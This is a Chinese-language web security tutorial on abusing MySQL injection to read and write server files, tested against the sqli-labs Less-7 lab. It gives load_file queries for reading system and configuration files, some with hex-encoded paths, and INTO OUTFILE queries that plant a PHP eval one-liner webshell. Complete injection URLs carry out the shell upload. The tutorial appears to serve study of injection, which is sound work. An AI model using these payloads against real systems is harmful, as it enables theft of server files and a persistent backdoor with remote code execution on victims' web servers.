这一节我们介绍下利用mysql注入进行文件操作的方法,通常用来写shell。
利用条件
- 需要知道mysql启动参数secure-file-priv,该参数的主要目的就是限制LOAD DATA INFILE或者SELECT INTO OUTFILE之类文件的目录位置,当设置为“NULL”时,不允许mysql导入导出,若指定了路径,则导入导出只能发生在指定的路径下,若为空,则可任意导入导出。
- 在mysql 5.5.34版本默认为空可以加载文件,但是之后版本为NULL会禁用该函数。
利用方式
- 导出文件
假设要导出文件“c:\windows\win.ini”,可以按如下写法,支持直接文件路径,或者转换成16进制,或者利用ASCII转字符方式等等
select load_file("c://windows/win.ini"); select load_file(0x633A2F2F77696E646F77732F77696E2E696E69); select load_file(char(99,58,47,47,119,105,110,100,111,119,115,47,119,105,110,46,105,110,105 ));
- 写入到文件
语法如下,例如将一句话木马写入到php文件
select “<?php @eval($_POST[‘cmd’]))?>” into outfile “C:\\phpstudy\\www\\111.php”
也可以利用在By后面接16进制文件内容的方法(该手段也是sqlmap上传文件的手法)
Select version() into outfile “C:\\phpstudy\\www\222.php” LINES TERMINATED BY 0xabc
也可以将读写文件放在一起利用
select load_file(“C:\\mysql\\my.ini”) into oufile “C:\\phpstudy\\www\\123.php”
查看权限
注意还是在前面利用条件里提的必须得有file权限才行,需要知道mysql启动参数secure-file-priv,该参数的主要目的就是限制LOAD DATA INFILE或者SELECT INTO OUTFILE之类文件的目录位置,当设置为“NULL”时,不允许mysql导入导出,若指定了路径,则导入导出只能发生在指定的路径下,若为空,则可任意导入导出。
利用 select @@global.secure_file_priv 可以查看当前secure_file_priv参数,如下当为NULL时,禁止导入导出,执行会报错
可以在mysql的配置文件mysql-ini中进行更改
案例测试
- 首先测试注入,单引号报错,判断后台逻辑
通过测试推测后台逻辑应该为:SELECT * FROM users WHERE id=(('$id')) limit 0,1,如下图闭合验证,方法可参考web安全之SQL注入关联知识点
- 构造写文件
http://192.168.102.135/ctf/sqli/Less-7/index.php?id=-1')) union select 1,2,3 into outfile "C:\\software\\phpstudy\\WWW\\ctf\\sqli\\Less-7\\1.txt"--+
验证文件存在,说明写入成功
进一步可写shell
http://192.168.102.135/ctf/sqli/Less-7/index.php?id=-1')) union select 1,2,"<?php @eval($_POST['c']);?>" into outfile "C:\\software\\phpstudy\\WWW\\ctf\\sqli\\Less-7\\2.php"--+
小结
本节内容到此为止,相对比较容易理解,主要是权限问题。